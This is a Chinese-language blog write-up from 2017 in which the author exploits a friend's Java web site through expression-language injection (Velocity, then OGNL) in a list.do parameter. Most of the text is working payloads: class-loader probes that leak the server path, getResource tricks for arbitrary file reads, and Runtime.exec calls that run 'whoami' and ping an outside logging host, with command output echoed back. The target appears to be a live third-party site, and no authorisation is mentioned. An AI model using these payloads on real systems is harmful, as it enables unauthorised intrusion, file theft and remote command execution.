VelocityServlet Expression-language Injection
[+] Author:MagicBlue
[+] Team: NeSE security team
[+] From: https://magicbluech.github.io
[+] Create: 2017-11-15
起因
朋友丢过来一个站点让帮忙看看。站点的架构为 Windows+Apache+JAVA。因没学过JAVA WEB。特记录下Exploit的过程,希望借此鼓励因对一门技术栈不熟悉就放弃目标的朋友。
Exploit
认知
拿到站点,首先要知道站点的架构。不难发现站点的架构为Windows+Apache+JAVA。通常,我还会爬一遍站点的url。探测是否存在敏感文件泄露以及敏感url,参数泄漏。扩大自己的攻击面。
经过简单探测,发现了一处疑似表达式注入的点,并且还出现了报错(可以泄漏很多有用的信息)。
但是由于我只写过JAVA,并没有任何JAVA WEB 经验。我连这个站点运用了什么框架都不清楚。于是开始漫长的踩坑之旅。在我以前的记忆中,我只知道两种类型的表达式注入(OGNL+EL)
首先我们测试下是否存在漏洞? ${666*666}
看到这里,就有很大的几率存在漏洞。但是对于我们还是判断不了它到底用了什么表达式语言。因为我没学过这块的技术栈,在这里就不去区分OGNL+EL的异同点,从而判断是哪种表达式。但是我知道OGNL+EL都有隐含对象。比如${pageScope},${request}等。但是很遗憾,什么也没有回显。
仔细查看报错信息,说不定会有收获。VelocityServlet: Error processing the template。一行加粗加大的提示赫然出现在我的眼前。Google=>Velocity
发现一篇文章 这篇文章提到这种表达式的注入
尝试${class}
于是这个站基本做到了认知的程度,下一步就是Fuzz了。
Fuzz
根据这篇文章,尝试以下payload.
$class.inspect(“java.lang.Runtime”).type.getRuntime().exec(“sleep 5”).waitFor()
尝试无果。然后把注意点转移在action.ListResources这个类上。
因为对JAVA并不熟悉,再加上面向对象学的也不是很好。无法判断这个类是开发者自己写的,还是用的轮子。只能利用搜索引擎去探测一波。发现链接
于是开始了手工Fuzz
/list.do?c=${class.getClassLoader()}
/list.do?c=${class.getResource("").getPath()}
暴露了网站的路径
做到这里,朋友说已经可以了。但是我还想继续判断下是否存在RCE
猜测getResource 这个方法是用来获取资源的,猜测是否存在SSRF,于是进行了大量手工FUZZ。根据回显来判断是否正确/list.do?c=${class.getResource("/").getPath()}
/list.do?c=${class.getResource(".").getPath()}
/list.do?c=${class.getResource("file://").getPath()}
/list.do?c=${class.getResource("gopher://").getPath()}
/list.do?c=${class.getResource("http://").getPath()}
/list.do?c=${class.getResource("../../../")}
/list.do?c=${class.getResource("../../../../../index.htm").getContent()}
出现了 java.io.BufferedInputStream@b4eccd。看样很有可能会产生任意读取漏洞。
还是不懂BufferedInputStream 只好借助参考链接
无奈 只发现了有价值的read()方法。借助可以方法可以从buff读取一个字符。由于我们找不到getWriter方法。所以我没有办法绕过去读取所有内容。下文有绕过方法。
chr(60) = ‘<’
RCE
无奈只好去探测别的姿势。知识储备不够只好借助搜索引擎。翻到一篇文章
尝试${'A'.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami")}
无果! 难道就这么放弃? 当然不是。
fuzz 出 ‘’.class.forName 这样引入对象是有效的。但是不知道为什么直接getRuntime不可以。
经过大量试错,最后 payload 为list.do?c=${'a'.class.forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("cmd /c ping watito.exeye.io")}
命令回显
做到这里,朋友说可以了。但是,我觉得不是很好,因为到此还没做到命令回显,作为一个安全爱好者。漏洞利用就像一门艺术,如果不能做到命令回显那就感觉像是少了些什么。于是开始了新的踩坑之旅!
执行payload。返回的是一个对象。我们要做的是将缓冲区的字节转换为字符。并且输出 出来。我查阅了大量的实战案例,
表达式注入做到回显的基本都用到了 servlet 下的 getWriter().println()方法。所以我们的目标已经很明确了,那就是去寻找这个方法。
/list.do?c=${%23c=’a’.class.forName(“javax.servlet.http.HttpServletResponse”).getMethod(‘getWriter’,null)}
我们想要使用的是println方法,于是又进行大量的手工FUZZ。
/list.do?c=${%23c=’a’.class.forName(“javax.servlet.http.HttpServletResponse”).getMethod(‘getWriter’,null).println(“2333”)}
/list.do?c=${%23c=’a’.class.forName(“javax.servlet.http.HttpServletResponse”).getMethod(‘getWriter’,null).invoke(null.null).println(“”)}
/list.do?c=${%23c=’a’.class.forName(“javax.servlet.http.HttpServletResponse”).getMethod(‘getWriter’,null).invoke().println(“”)}
/list.do?c=${%23c=’a’.class.forName(“javax.servlet.http.HttpServletResponse”).getMethod(‘getWriter’,null).invoke(null,”23333”).println(“”)}
其实在这边查阅官方手册是快的,但是黑盒测试,对版本等信息都不了解。查阅了很多手册也没有什么收获。于是我去翻阅了java包的println函数的实现。
原来println函数是import java.io.PrintWriter而来
/list.do?c=${#c=”a”.class.forName(“java.io.PrintWriter”).getMethod(“println”,null)}
很激动~ 但是不知道怎么调用。还是要不断试错!
/list.do?c=${#c=”a”.class.forName(“java.io.PrintWriter”).getMethod(“println”,null).(“HELLO WORLD”)}
发现这样可以调用。
我们看一下猪猪侠构造的回显的payload
#=#
1 |
|
我们尝试来构造我们自己的payload。
#=#
1 |
|
居然没什么反应~
这个时候似乎陷入了胶着…因为用时太久,身心俱疲。随手测试了${#request}
居然有回显。
可以确定是Ognl 表达式注入了.那么回显就要去朝着这个方向去思考。
看到 com.opensymphony.xwork.interceptor 版本比较低。
经过测试
{#e=’a’.class.forName(“java.lang.Runtime”).getMethod(“getRuntime”,null).invoke(null,null).exec(“cmd /c whoami”).getInputStream(),#o=new java.io.InputStreamReader(#e),#l=new java.io.BufferedReader(#o),#k=#l.readLine(),#print=’a’.class.forName(“java.io.PrintWriter”).getMethod(“println”,null),#print.(#k)}
这样可以读取一行回显 这样就太鸡肋了~ 这个时候想到一个库还没使用那就是。com.opensymphony.xwork
${#response=#context.get(“com.opensymphony.xwork.dispatcher.HttpServletResponse”).getWriter(),#response.println(“HelloWorld!”),#response.flush(),#response.close()}
于是最终payload为
#=#
1 |
|
使用这个姿势,同时可以解决上文的任意读取漏洞!有些朋友可能不理解为什么去费这么大气力去研究这个看似不是很重要的回显。完全可以通过DNS 带出来内容。但是技术的推动就是对技术毫不妥协嘛。本文不涉及任何框架的解读,想表达的含义是对一个你没接触的内容怎样去Exploit。对于这个场景来说,找一个可用的方法或者类有多么重要。
总结
这篇writeup 用到的技术不是很高深,想必对JAVA WEB 很熟的人很快就能搞出来。但是我想在这篇文章里展示的是一种对于从来没接触过的技术栈 怎么去Exploit。看到这里你也很清楚了。善于利用搜索引擎。以及人工不断fuzz.逐渐去验证你的思路。慢慢缩小fuzz的范围以及payload。我花费了大量笔墨去阐述我走过的弯路,较小的笔墨去描述我成功执行的部分。看者自然有意。